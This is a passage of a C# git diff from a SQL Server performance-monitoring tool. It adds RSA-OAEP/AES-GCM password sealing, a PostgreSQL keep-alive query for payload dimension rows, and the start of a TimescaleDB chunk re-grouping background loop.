+        return exponent is { Length: 3 } && exponent[0] == 0x01 && exponent[1] == 0x00 && exponent[2] == 0x01;
+    }
+}
+
+/// <summary>The private half of the service's password key. It opens sealed values; it is never stored in the store.</summary>
+public sealed class PasswordPrivateKey : IDisposable
+{
+    private readonly RSA _rsa;
+    private readonly object _gate = new();
+    private bool _disposed;
+
+    private PasswordPrivateKey(RSA rsa)
+    {
+        _rsa = rsa;
+        PublicKey = PasswordPublicKey.FromSpki(rsa.ExportSubjectPublicKeyInfo());
+    }
+
+    /// <summary>The public half.</summary>
+    public PasswordPublicKey PublicKey { get; }
+
+    /// <summary>Makes a new RSA-3072 key.</summary>
+    public static PasswordPrivateKey Generate() => new(RSA.Create(PasswordSeal.KeyBits));
+
+    /// <summary>Reads a private key from PKCS#8 DER. It must be an RSA key of exactly 3072 bits; anything else is
+    /// <see cref="PasswordSealFailure.Malformed"/>.</summary>
+    public static PasswordPrivateKey FromPkcs8(ReadOnlySpan<byte> der)
+    {
+        RSA? rsa = null;
+        var ok = false;
+        try
+        {
+            rsa = RSA.Create();
+            rsa.ImportPkcs8PrivateKey(der, out var read);
+            ok = read == der.Length && rsa.KeySize == PasswordSeal.KeyBits && PasswordPublicKey.HasStandardExponent(rsa);
+        }
+        catch (CryptographicException)
+        {
+        }
+        catch (ArgumentException)
+        {
+        }
+
+        if (!ok)
+        {
+            rsa?.Dispose();
+            throw new PasswordSealException(PasswordSealFailure.Malformed);
+        }
+
+        return new PasswordPrivateKey(rsa!);
+    }
+
+    /// <summary>The key as PKCS#8 DER. The caller owns the bytes and should zero them after use.</summary>
+    public byte[] ExportPkcs8()
+    {
+        lock (_gate)
+        {
+            return _rsa.ExportPkcs8PrivateKey();
+        }
+    }
+
+    /// <summary>Releases the key.</summary>
+    public void Dispose()
+    {
+        lock (_gate)
+        {
+            _disposed = true;
+            _rsa.Dispose();
+        }
+    }
+
+    internal byte[] DecryptKey(byte[] wrapped)
+    {
+        lock (_gate)
+        {
+            if (_disposed)
+            {
+                throw new PasswordSealException(PasswordSealFailure.UnknownKey, PublicKey.KeyId);
+            }
+
+            return _rsa.Decrypt(wrapped, RSAEncryptionPadding.OaepSHA256);
+        }
+    }
+}
+
+/// <summary>
+/// Seals a password to the service's public key and opens it with the private key (#5366). A value is
+/// <c>sealed:v1:&lt;keyId&gt;:&lt;base64&gt;</c>. The payload is the AES-256 key wrapped with RSA-OAEP-SHA256, then a
+/// 12-byte nonce, a 16-byte tag and the AES-GCM ciphertext of the length-prefixed, zero-padded password. The
+/// <see cref="PasswordBinding"/> is the GCM associated data, so a value opens only for the connection it was sealed for.
+/// </summary>
+public static class PasswordSeal
+{
+    /// <summary>Every sealed version starts with this text.</summary>
+    public const string RoutingPrefix = "sealed:";
+
+    /// <summary>The prefix of a version 1 value.</summary>
+    public const string V1Prefix = "sealed:v1:";
+
+    /// <summary>The algorithm text shown for the key.</summary>
+    public const string Algorithm = "RSA3072-OAEP-SHA256/A256GCM";
+
+    /// <summary>The longest password, in UTF-8 bytes, that can be sealed.</summary>
+    public const int MaxPlaintextBytes = 8192;
+
+    internal const int KeyBits = 3072;
+
+    /// <summary>The one UTF-8 encoding the format uses: invalid text throws instead of being replaced, so two different
+    /// strings never seal or bind the same.</summary>
+    internal static readonly UTF8Encoding StrictUtf8 = new(false, true);
+
+    private const int WrappedKeyBytes = KeyBits / 8;
+    private const int NonceBytes = 12;
+    private const int TagBytes = 16;
+    private const int HeaderBytes = WrappedKeyBytes + NonceBytes + TagBytes;
+    private const int PadBlock = 32;
+    private const int KeyIdChars = 16;
+    private const int MaxPaddedBytes = ((MaxPlaintextBytes + 4 + PadBlock - 1) / PadBlock) * PadBlock;
+
+    /// <summary>True when the text starts a sealed value of any version.</summary>
+    public static bool IsSealed(string? value) =>
+        value is not null && value.StartsWith(RoutingPrefix, StringComparison.Ordinal);
+
+    /// <summary>The key id a version 1 value carries, or null when the text is not a version 1 value with a key id.</summary>
+    public static string? KeyIdOf(string value)
+    {
+        if (value is null || !value.StartsWith(V1Prefix, StringComparison.Ordinal))
+        {
+            return null;
+        }
+
+        var rest = value.AsSpan(V1Prefix.Length);
+        return rest.Length > KeyIdChars && rest[KeyIdChars] == ':' && IsKeyId(rest[..KeyIdChars])
+            ? rest[..KeyIdChars].ToString()
+            : null;
+    }
+
+    /// <summary>The key id for a key: the first 8 bytes of the SHA-256 of its SubjectPublicKeyInfo, as lowercase hex.</summary>
+    public static string KeyIdFor(ReadOnlySpan<byte> spki)
+    {
+        Span<byte> hash = stackalloc byte[SHA256.HashSizeInBytes];
+        SHA256.HashData(spki, hash);
+        return Convert.ToHexStringLower(hash[..8]);
+    }
+
+    /// <summary>A key id as shown to people: uppercase, in groups of four (<c>AB12-CD34-EF56-7890</c>). Text that is not
+    /// a key id comes back unchanged.</summary>
+    public static string DisplayKeyId(string keyId)
+    {
+        if (keyId is null || !IsKeyId(keyId))
+        {
+            return keyId ?? "";
+        }
+
+        var upper = keyId.ToUpperInvariant();
+        return string.Join('-', upper[..4], upper[4..8], upper[8..12], upper[12..16]);
+    }
+
+    /// <summary>Seals <paramref name="plaintext"/> to <paramref name="key"/> for <paramref name="binding"/>. The result is
+    /// different every time. A password over <see cref="MaxPlaintextBytes"/> is refused.</summary>
+    public static string Seal(string plaintext, PasswordPublicKey key, PasswordBinding binding)
+    {
+        ArgumentNullException.ThrowIfNull(plaintext);
+        ArgumentNullException.ThrowIfNull(key);
+        ArgumentNullException.ThrowIfNull(binding);
+
+        int length;
+        try
+        {
+            length = StrictUtf8.GetByteCount(plaintext);
+        }
+        catch (EncoderFallbackException)
+        {
+            throw new PasswordSealException(
+                PasswordSealFailure.Malformed, "The password contains text that cannot be stored.", null);
+        }
+
+        if (length > MaxPlaintextBytes)
+        {
+            throw new PasswordSealException(
+                PasswordSealFailure.Malformed, "The password is longer than a sealed value can hold.", null);
+        }
+
+        var padded = new byte[Math.Max(PadBlock, (length + 4 + PadBlock - 1) / PadBlock * PadBlock)];
+        var aesKey = new byte[32];
+        try
+        {
+            BinaryPrimitives.WriteInt32BigEndian(padded, length);
+            StrictUtf8.GetBytes(plaintext, padded.AsSpan(4));
+            RandomNumberGenerator.Fill(aesKey);
+
+            var payload = new byte[HeaderBytes + padded.Length];
+            var nonce = payload.AsSpan(WrappedKeyBytes, NonceBytes);
+            var tag = payload.AsSpan(WrappedKeyBytes + NonceBytes, TagBytes);
+            RandomNumberGenerator.Fill(nonce);
+
+            using (var rsa = RSA.Create())
+            {
+                rsa.ImportSubjectPublicKeyInfo(key.Spki, out _);
+                rsa.Encrypt(aesKey, RSAEncryptionPadding.OaepSHA256).CopyTo(payload, 0);
+            }
+
+            using (var aes = new AesGcm(aesKey, TagBytes))
+            {
+                aes.Encrypt(nonce, padded, payload.AsSpan(HeaderBytes), tag, binding.EncodeAad(key.KeyId));
+            }
+
+            return V1Prefix + key.KeyId + ":" + Convert.ToBase64String(payload);
+        }
+        finally
+        {
+            CryptographicOperations.ZeroMemory(aesKey);
+            CryptographicOperations.ZeroMemory(padded);
+        }
+    }
+
+    /// <summary>
+    /// Opens <paramref name="sealedText"/> with <paramref name="key"/> for <paramref name="binding"/>. Every failure is a
+    /// <see cref="PasswordSealException"/> with no inner exception: <see cref="PasswordSealFailure.Malformed"/> for text
+    /// that is not a sealed value, <see cref="PasswordSealFailure.NewerVersion"/> for a version this build does not
+    /// know, <see cref="PasswordSealFailure.UnknownKey"/> for another key, and
+    /// <see cref="PasswordSealFailure.BindingOrTamper"/> for everything that fails after that.
+    /// </summary>
+    public static string Open(string sealedText, PasswordPrivateKey key, PasswordBinding binding)
+    {
+        ArgumentNullException.ThrowIfNull(key);
+        ArgumentNullException.ThrowIfNull(binding);
+
+        if (sealedText is null || !sealedText.StartsWith(RoutingPrefix, StringComparison.Ordinal))
+        {
+            throw new PasswordSealException(PasswordSealFailure.Malformed);
+        }
+
+        if (!sealedText.StartsWith(V1Prefix, StringComparison.Ordinal))
+        {
+            throw new PasswordSealException(PasswordSealFailure.NewerVersion);
+        }
+
+        var rest = sealedText.AsSpan(V1Prefix.Length);
+        if (rest.Length <= KeyIdChars || rest[KeyIdChars] != ':' || !IsKeyId(rest[..KeyIdChars]))
+        {
+            throw new PasswordSealException(PasswordSealFailure.Malformed);
+        }
+
+        var keyId = rest[..KeyIdChars].ToString();
+        var payload = DecodePayload(rest[(KeyIdChars + 1)..], keyId);
+        if (!string.Equals(keyId, key.PublicKey.KeyId, StringComparison.Ordinal))
+        {
+            throw new PasswordSealException(PasswordSealFailure.UnknownKey, keyId);
+        }
+
+        byte[]? aesKey = null;
+        byte[]? padded = null;
+        var failed = false;
+        string? result = null;
+        try
+        {
+            aesKey = key.DecryptKey(payload[..WrappedKeyBytes]);
+            if (aesKey.Length != 32)
+            {
+                failed = true;
+            }
+            else
+            {
+                padded = new byte[payload.Length - HeaderBytes];
+                using var aes = new AesGcm(aesKey, TagBytes);
+                aes.Decrypt(
+                    payload.AsSpan(WrappedKeyBytes, NonceBytes),
+                    payload.AsSpan(HeaderBytes),
+                    payload.AsSpan(WrappedKeyBytes + NonceBytes, TagBytes),
+                    padded,
+                    binding.EncodeAad(keyId));
+                result = ReadPadded(padded);
+                failed = result is null;
+            }
+        }
+        catch (PasswordSealException)
+        {
+            // The key was disposed: already one of the fixed kinds.
+            throw;
+        }
+        catch (Exception ex) when (ex is not OutOfMemoryException)
+        {
+            // A provider failure of any kind (a bad wrap or tag, a key that is gone, no AES-GCM on this platform) is the
+            // same fixed answer; the provider's text and exception are never passed on.
+            failed = true;
+        }
+        finally
+        {
+            if (aesKey is not null)
+            {
+                CryptographicOperations.ZeroMemory(aesKey);
+            }
+
+            if (padded is not null)
+            {
+                CryptographicOperations.ZeroMemory(padded);
+            }
+        }
+
+        if (failed || result is null)
+        {
+            throw new PasswordSealException(PasswordSealFailure.BindingOrTamper, keyId);
+        }
+
+        return result;
+    }
+
+    private static byte[] DecodePayload(ReadOnlySpan<char> base64, string keyId)
+    {
+        var maxChars = (HeaderBytes + MaxPaddedBytes + 2) / 3 * 4;
+        if (base64.Length == 0 || base64.Length > maxChars || base64.Length % 4 != 0)
+        {
+            throw new PasswordSealException(PasswordSealFailure.Malformed, keyId);
+        }
+
+        foreach (var c in base64)
+        {
+            if (!(c is >= 'A' and <= 'Z' or >= 'a' and <= 'z' or >= '0' and <= '9' or '+' or '/' or '='))
+            {
+                throw new PasswordSealException(PasswordSealFailure.Malformed, keyId);
+            }
+        }
+
+        var buffer = new byte[base64.Length / 4 * 3];
+        if (!Convert.TryFromBase64Chars(base64, buffer, out var written))
+        {
+            throw new PasswordSealException(PasswordSealFailure.Malformed, keyId);
+        }
+
+        var minimum = HeaderBytes + PadBlock;
+        if (written < minimum || written > HeaderBytes + MaxPaddedBytes || (written - HeaderBytes) % PadBlock != 0)
+        {
+            throw new PasswordSealException(PasswordSealFailure.Malformed, keyId);
+        }
+
+        return buffer[..written];
+    }
+
+    private static string? ReadPadded(byte[] padded)
+    {
+        var length = BinaryPrimitives.ReadInt32BigEndian(padded);
+        if (length < 0 || length > MaxPlaintextBytes || length > padded.Length - 4)
+        {
+            return null;
+        }
+
+        for (var i = 4 + length; i < padded.Length; i++)
+        {
+            if (padded[i] != 0)
+            {
+                return null;
+            }
+        }
+
+        try
+        {
+            return StrictUtf8.GetString(padded, 4, length);
+        }
+        catch (DecoderFallbackException)
+        {
+            return null;
+        }
+    }
+
+    private static bool IsKeyId(ReadOnlySpan<char> text)
+    {
+        if (text.Length != KeyIdChars)
+        {
+            return false;
+        }
+
+        foreach (var c in text)
+        {
+            if (!(c is >= '0' and <= '9' or >= 'a' and <= 'f'))
+            {
+                return false;
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs b/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs
index faecddfb90..bce1c4c815 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionBatch.cs
@@ -31,10 +31,15 @@ public sealed class PayloadDimensionBatch
 {
     private readonly Dictionary<string, Dictionary<string, Entry>> _byDimTable = new(StringComparer.Ordinal);
 
+    /* Digests the batch's rows reference WITHOUT carrying the content (a row written from a digest the host
+       already holds), per dim table, keyed by hex so repeats collapse. Kept apart from _byDimTable: these have
+       no payload to upsert, only a last_seen to keep alive. */
+    private readonly Dictionary<string, Dictionary<string, byte[]>> _touchedByDimTable = new(StringComparer.Ordinal);
+
     private readonly record struct Entry(byte[] Digest, string Payload);
 
     /// <summary>True when nothing was diverted — the caller skips the flush entirely.</summary>
-    public bool IsEmpty => _byDimTable.Count == 0;
+    public bool IsEmpty => _byDimTable.Count == 0 && _touchedByDimTable.Count == 0;
 
     /// <summary>
     /// The dimension tables this batch has content for. Enumeration order is unspecified and does
@@ -76,6 +81,43 @@ public void Add(string dimTable, byte[] digest, string payload)
         }
     }
 
+    /// <summary>
+    /// Records a digest a row references with no content: the dim row is already stored, and the flush must
+    /// keep its <c>last_seen</c> alive (see <see cref="PayloadDimensionWriter.FlushAsync"/>).
+    /// </summary>
+    public void AddTouch(string dimTable, byte[] digest)
+    {
+        if (dimTable is null)
+        {
+            throw new ArgumentNullException(nameof(dimTable));
+        }
+
+        if (digest is null)
+        {
+            throw new ArgumentNullException(nameof(digest));
+        }
+
+        if (!_touchedByDimTable.TryGetValue(dimTable, out var touched))
+        {
+            touched = new Dictionary<string, byte[]>(StringComparer.Ordinal);
+            _touchedByDimTable[dimTable] = touched;
+        }
+
+        touched.TryAdd(Convert.ToHexString(digest), digest);
+    }
+
+    /// <summary>The dimension tables holding digests referenced without content.</summary>
+    public IReadOnlyCollection<string> TouchedDimTables => _touchedByDimTable.Keys;
+
+    /// <summary>
+    /// The distinct touched digests for one dimension table, in digest order: the same total order
+    /// <see cref="ToArrays"/> imposes, for the same reason (the touch takes row locks too).
+    /// </summary>
+    public byte[][] TouchedDigests(string dimTable)
+        => _touchedByDimTable.TryGetValue(dimTable, out var touched)
+            ? touched.OrderBy(e => e.Key, StringComparer.Ordinal).Select(e => e.Value).ToArray()
+            : Array.Empty<byte[]>();
+
     /// <summary>How many distinct payloads this batch holds for one dimension table.</summary>
     public int DistinctCount(string dimTable)
         => _byDimTable.TryGetValue(dimTable, out var entries) ? entries.Count : 0;
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs b/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs
index eef5f07d0e..7bac80ec2a 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensionWriter.cs
@@ -7,9 +7,11 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using Npgsql;
 using NpgsqlTypes;
 
@@ -41,15 +43,24 @@ public static class PayloadDimensionWriter
     /// per-collector payload flush, whose observed store phases run 1.8–11.4s and which #2776 has no
     /// evidence against. Only the Query Store plan-fetch caller opts in, because that is the path where a
     /// 12 MB flush plus map upsert in one transaction was being cancelled at 30s.</para>
+    ///
+    /// <para>Digests the batch's rows reference WITHOUT content (<see cref="PayloadDimensionBatch.AddTouch"/>)
+    /// get one more statement per dimension table in this same transaction, <see cref="PayloadDimensions.TouchSql"/>,
+    /// which keeps their <c>last_seen</c> alive under the same <see cref="PayloadDimensions.LastSeenRefreshGuardHours"/>
+    /// guard as the insert path, so the dimension GC's liveness invariant is unchanged. The result is the
+    /// touched digests that have NO dim row, as upper-case hex (the form <c>Convert.ToHexString</c> gives)
+    /// whatever case the known digest was offered in, so a caller must compare case-insensitively or upper-case
+    /// its own digests first; empty when there are none, which is every batch that touches nothing.</para>
     /// </summary>
-    public static async Task FlushAsync(
+    public static async Task<IReadOnlyList<string>> FlushAsync(
         NpgsqlConnection connection,
         NpgsqlTransaction transaction,
         PayloadDimensionBatch batch,
         DateTime collectionTime,
         CancellationToken cancellationToken,
         bool compressPlanContent = true,
-        int? commandTimeoutSeconds = null)
+        int? commandTimeoutSeconds = null,
+        ILogger? logger = null)
     {
         if (connection is null)
         {
@@ -63,7 +74,7 @@ public static async Task FlushAsync(
 
         if (batch.IsEmpty)
         {
-            return;
+            return Array.Empty<string>();
         }
 
         /* Naive-UTC storage: Npgsql 6+ rejects Kind=Utc against `timestamp` — see PgCollectorRowWriter. */
@@ -116,5 +127,48 @@ consumers can read query_plan_xml bare. The digest is identical either way. */
 
             await command.ExecuteNonQueryAsync(cancellationToken);
         }
+
+        List<string>? absent = null;
+        foreach (var dimTable in batch.TouchedDimTables)
+        {
+            var touched = batch.TouchedDigests(dimTable);
+            if (touched.Length == 0)
+            {
+                continue;
+            }
+
+            await using var command = new NpgsqlCommand(PayloadDimensions.TouchSql(dimTable), connection, transaction);
+            if (commandTimeoutSeconds is int timeout)
+            {
+                command.CommandTimeout = timeout;
+            }
+
+            command.Parameters.Add(new NpgsqlParameter
+            {
+                NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Bytea,
+                Value = touched,
+            });
+            command.Parameters.Add(new NpgsqlParameter
+            {
+                NpgsqlDbType = NpgsqlDbType.Timestamp,
+                Value = lastSeen,
+            });
+
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                (absent ??= new List<string>()).Add(Convert.ToHexString(reader.GetFieldValue<byte[]>(0)));
+            }
+        }
+
+        if (absent is null)
+        {
+            return Array.Empty<string>();
+        }
+
+        logger?.LogDebug(
+            "{AbsentDigests} referenced payload digest(s) have no dimension row; their rows will read without content",
+            absent.Count);
+        return absent;
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs b/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs
index 3fbb192245..a0745c730a 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/PayloadDimensions.cs
@@ -210,6 +210,9 @@ public static IReadOnlyDictionary<int, PayloadDimension> DiversionPlanFor(IColle
     private static readonly IReadOnlyDictionary<int, PayloadDimension> EmptyPlan =
         new Dictionary<int, PayloadDimension>();
 
+    /// <summary>The byte length of a <see cref="Digest"/> (SHA-256).</summary>
+    public const int DigestLengthBytes = 32;
+
     /// <summary>
     /// The content digest: SHA-256 over the UTF-8 bytes of the payload EXACTLY as it would have been
     /// stored inline — i.e. after <c>PgCollectorRowWriter.StripEmbeddedNuls</c>, so the digest keys
@@ -418,4 +421,52 @@ public static string UpsertSql(string dimTable, bool compressContent = true)
             $"WHERE {dimTable}.{LastSeenColumn} < EXCLUDED.{LastSeenColumn} - {LastSeenRefreshGuardInterval}";
     }
 
+    /// <summary>
+    /// The keep-alive for digests a batch referenced without content: ONE statement, one array of digests plus
+    /// the collection timestamp. It refreshes <see cref="LastSeenColumn"/> on the dim rows whose stored value
+    /// is more than <see cref="LastSeenRefreshGuardHours"/> stale, and returns the digests of the array that
+    /// have NO dim row at all (the fact row written from them resolves to nothing, and the caller must stop
+    /// presenting them).
+    ///
+    /// <para>The GC liveness invariant of <see cref="LastSeenColumn"/> holds exactly as on the insert path
+    /// (<see cref="UpsertSql"/>): a digest a batch references is stamped, never left older than
+    /// <see cref="LastSeenRefreshGuardHours"/> behind the newest fact row pointing at it, so the sweep
+    /// (which trails by more than that guard) cannot delete content a live row still references. The guard
+    /// is the same constant, so it also keeps the same cost cap: a continuously referenced digest takes at
+    /// most <c>24 / LastSeenRefreshGuardHours</c> updates a day, not one per cycle.</para>
+    ///
+    /// <para>The rows to refresh are chosen and locked in a subquery (<c>FOR UPDATE SKIP LOCKED</c>), so the
+    /// touch never waits on a row lock. There is no single total order across the upsert (<see cref="UpsertSql"/>,
+    /// whose conflict arm locks the row even when its guard is false) and this touch: one batch can hold digest A
+    /// from its upsert and want B in its touch while another holds B and wants A, and a waiting touch would turn
+    /// that into a deadlock that rolls back a whole batch. Skipping a locked row is safe because whoever holds a
+    /// stale-but-live dim row is refreshing it: the upsert's conflict arm, another touch, or the Query Store
+    /// plan map's <c>dim_touch</c>. A holder that rolls back leaves the row stale, and the next cycle touches it
+    /// again, far inside the dimension GC's margin. GC can never be the holder: <see cref="RowCappedDeleteSql"/>
+    /// only reaches rows older than <see cref="ComputeDimensionCutoff"/>, at least the guard plus one day behind,
+    /// and a digest referenced every cycle is never more than about <see cref="LastSeenRefreshGuardHours"/> hours
+    /// stale. A skipped row correctly counts as present.</para>
+    ///
+    /// <para>The absent-digest read is a plain read of the table as the statement began: the refresh never
+    /// deletes, and GC cannot reach a live digest, so a digest present at that point is present. The converse
+    /// can be false: a digest another, uncommitted batch is still inserting is not visible to this statement and
+    /// is reported absent. That costs one extra render on the next cycle and nothing else.</para>
+    /// </summary>
+    public static string TouchSql(string dimTable)
+    {
+        PayloadColumnOf(dimTable);
+        return
+            $"WITH refreshed AS (\n" +
+            $"    UPDATE {dimTable} SET {LastSeenColumn} = $2\n" +
+            $"    WHERE {DigestColumn} IN (\n" +
+            $"        SELECT s.{DigestColumn} FROM {dimTable} s\n" +
+            $"        WHERE s.{DigestColumn} = ANY($1::bytea[])\n" +
+            $"        AND   s.{LastSeenColumn} < $2 - {LastSeenRefreshGuardInterval}\n" +
+            $"        ORDER BY s.{DigestColumn}\n" +
+            $"        FOR UPDATE SKIP LOCKED)\n" +
+            $"    RETURNING 1)\n" +
+            $"SELECT w.digest FROM unnest($1::bytea[]) AS w(digest)\n" +
+            $"WHERE NOT EXISTS (SELECT 1 FROM {dimTable} d WHERE d.{DigestColumn} = w.digest)\n" +
+            $"ORDER BY w.digest";
+    }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PerfmonRegroupDrain.cs b/Darling/PerformanceMonitor.Darling.Storage/PerfmonRegroupDrain.cs
new file mode 100644
index 0000000000..b503b8d5f1
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/PerfmonRegroupDrain.cs
@@ -0,0 +1,400 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>Why a drain run ended (#5574); tests assert it, so "nothing ran" can be told apart from "could not run".</summary>
+internal enum PerfmonRegroupRunEnd
+{
+    /// <summary>The catalog was read and no chunk in the reach has the old grouping (converged).</summary>
+    NothingLeft,
+
+    /// <summary>The gate was closed (the hypertable still has the old grouping, or TimescaleDB cannot change settings).</summary>
+    Blocked,
+
+    /// <summary>The catalog could not be read.</summary>
+    ReadFailed,
+
+    /// <summary>Three chunks in a row failed.</summary>
+    FailureLimit,
+
+    /// <summary>Every chunk left was skipped (busy, failed, gone, timed out, or already re-grouped by this process).</summary>
+    AllSkipped,
+}
+
+/// <summary>One run's chunks re-grouped and the reason it ended.</summary>
+internal readonly record struct PerfmonRegroupRunResult(int Done, PerfmonRegroupRunEnd End);
+
+/// <summary>
+/// The background loop that re-groups the perfmon_stats chunks compressed by <c>server_id</c> alone (#5574), one chunk at
+/// a time, newest first, inside the reach: 30 days (<see cref="TimescaleSupport.PerfmonRegroupReachDays"/>), or one day less
+/// than the perfmon retention when that is shorter (a chunk retention is about to drop is not worth a rewrite).
+///
+/// <para><b>Why a loop of its own, not a step of the hourly pass.</b> The first version re-grouped for at most two minutes
+/// of each hourly pass. A large store's chunk (13.1 M rows measured, about 14 M per day on the biggest) takes minutes
+/// to rewrite, so two minutes an hour reached one chunk an hour and the 30-day reach took more than a day of hourly
+/// passes. The hourly pass now only calls <see cref="StartIfIdle"/>, which does no database work and returns at once; the
+/// rewrite runs here, on its own connection, so the pass (and the collection sweep that awaits it) never waits for a chunk.</para>
+///
+/// <para><b>One chunk, then a pause as long as the chunk took</b> (never under <see cref="TimescaleSupport.PerfmonRegroupMinPause"/>),
+/// so the store spends at most half its time on the rewrite. Every outcome pauses, a busy lock included: a lock lost at the
+/// END of a decompress (the final ACCESS EXCLUSIVE) throws away the whole rewrite, and the pause is the time that cost, not
+/// the floor. Thirty chunks of about 3 minutes finish in about three hours, which is "hours, not days" without loading the
+/// store: the reads and the collectors share the disk with it.</para>
+///
+/// <para><b>It stops by itself.</b> When no chunk is left it ends after two catalog reads (Debug); the next hourly pass
+/// starts it again for the price of those two reads on a new connection. It also ends on three failed chunks in a row
+/// (<see cref="TimescaleSupport.PerfmonRegroupFailureLimit"/>), and when every chunk left was skipped this run (a skipped chunk
+/// is not tried again until the next hourly start, so one busy chunk cannot pin the loop). It stops within a statement of
+/// the service stopping: the chunk in progress is cancelled and rolls back, or, when only the compress half was cancelled,
+/// is left uncompressed for the compression policy to compress with the new grouping.</para>
+///
+/// <para><b>What it remembers for the life of the process</b> (the drain object lives as long as the service): the chunks it
+/// re-grouped, so a chunk that still reads as a candidate afterwards (a TimescaleDB release that spells the setting
+/// differently) is skipped with one Warning instead of rewritten forever; the chunks whose decompress was cancelled, by the statement cap
+/// (<see cref="TimescaleSupport.PerfmonRegroupStatementTimeoutSeconds"/>) or by the server (a <c>statement_timeout</c> shorter
+/// than the cap, or a cancel), which would be cancelled again every hour (the log line says which and how long it ran); and that a failed
+/// catalog read has been reported once at Warning.</para>
+///
+/// <para>Gated exactly as the first version was: <see cref="TimescaleSupport.PerfmonRegroupBlockedReason"/> is asked
+/// before every chunk (the hypertable must already carry the new grouping, TimescaleDB must be able to change settings
+/// with compressed chunks, and the per-chunk settings view must exist), and the caller starts it only on a store with
+/// TimescaleDB and only on the hourly pass, never on the start path.</para>
+/// </summary>
+public sealed class PerfmonRegroupDrain
+{
+    /// <summary>A busy lock that lost at least this much work is worth an Information line of its own (a lock lost at the
+    /// start of a decompress costs the 3 s lock wait; anything near this was lost after a rewrite).</summary>
+    internal static readonly TimeSpan DefaultLostWorkThreshold = TimeSpan.FromSeconds(10);
+
+    private readonly Func<CancellationToken, ValueTask<NpgsqlConnection>> _openConnection;
+    private readonly ILogger? _logger;
+    private readonly int _reachDays;
+    private readonly TimeSpan _minPause;
+    private readonly Func<TimeSpan, CancellationToken, Task> _delay;
+    private readonly int _statementTimeoutSeconds;
+    private readonly Func<NpgsqlConnection, ILogger?, int, CancellationToken, Task<TimescaleSupport.PerfmonRegroupRead>> _readCandidates;
+    private readonly TimeSpan _lostWorkThreshold;
+    private readonly object _gate = new();
+    private readonly HashSet<string> _regrouped = new(StringComparer.Ordinal);
+    private readonly HashSet<string> _gaveUp = new(StringComparer.Ordinal);
+    private bool _warnedReadFailure;
+    private bool _warnedRepeatCandidate;
+    private Task? _running;
+
+    /// <param name="openConnection">Opens a store connection; the drain owns and disposes what it gets, one per run.</param>
+    /// <param name="logger">Where the per-chunk and per-run lines go.</param>
+    public PerfmonRegroupDrain(Func<CancellationToken, ValueTask<NpgsqlConnection>> openConnection, ILogger? logger)
+        : this(openConnection, logger, TimescaleSupport.PerfmonRegroupReachDays, TimescaleSupport.PerfmonRegroupMinPause, Task.Delay)
+    {
+    }
+
+    /// <summary>The test seam: the reach, the pause floor, the wait itself (a test records the pauses it is asked for
+    /// instead of sleeping them) and the statement cap in seconds.</summary>
+    internal PerfmonRegroupDrain(
+        Func<CancellationToken, ValueTask<NpgsqlConnection>> openConnection,
+        ILogger? logger,
+        int reachDays,
+        TimeSpan minPause,
+        Func<TimeSpan, CancellationToken, Task> delay,
+        int statementTimeoutSeconds = TimescaleSupport.PerfmonRegroupStatementTimeoutSeconds,
+        Func<NpgsqlConnection, ILogger?, int, CancellationToken, Task<TimescaleSupport.PerfmonRegroupRead>>? readCandidates = null,
+        TimeSpan? lostWorkThreshold = null)
+    {
+        _readCandidates = readCandidates ?? TimescaleSupport.ReadPerfmonRegroupCandidatesAsync;
+        _lostWorkThreshold = lostWorkThreshold ?? DefaultLostWorkThreshold;
+        _openConnection = openConnection ?? throw new ArgumentNullException(nameof(openConnection));
+        _logger = logger;
+        _reachDays = reachDays;
+        _minPause = minPause;
+        _delay = delay ?? throw new ArgumentNullException(nameof(delay));
+        _statementTimeoutSeconds = statementTimeoutSeconds;
+    }
+
+    /// <summary>The run in flight (or the last one), so shutdown can wait for it. It never faults.</summary>
+    public Task? Completion
+    {
+        get
+        {
+            lock (_gate)
+            {
+                return _running;
+            }
+        }
+    }
+
+    /// <summary>
+    /// Starts a run unless one is in flight; returns whether it started one. No database work happens on the caller's
+    /// thread: the first thing the run does is open its own connection and read the catalog, so the hourly pass pays
+    /// nothing for a converged store.
+    /// </summary>
+    public bool StartIfIdle(CancellationToken stoppingToken)
+    {
+        lock (_gate)
+        {
+            if (_running is { IsCompleted: false })
+            {
+                return false;
+            }
+
+            _running = Task.Run(() => RunGuardedAsync(stoppingToken), CancellationToken.None);
+            return true;
+        }
+    }
+
+    private async Task RunGuardedAsync(CancellationToken stoppingToken)
+    {
+        try
+        {
+            await RunAsync(stoppingToken);
+        }
+        catch (OperationCanceledException)
+        {
+            /* The service is stopping; the chunk in flight rolled back or was left for the compression policy. */
+        }
+        catch (Exception ex)
+        {
+            _logger?.LogWarning(
+                "TimescaleDB: the perfmon_stats re-group stopped on an error and starts again at the next hourly check (#5574): {Message}",
+                ex.Message);
+        }
+    }
+
+    /// <summary>
+    /// One run: re-groups chunks, newest first, until none is left, the failure limit is reached, every chunk left was
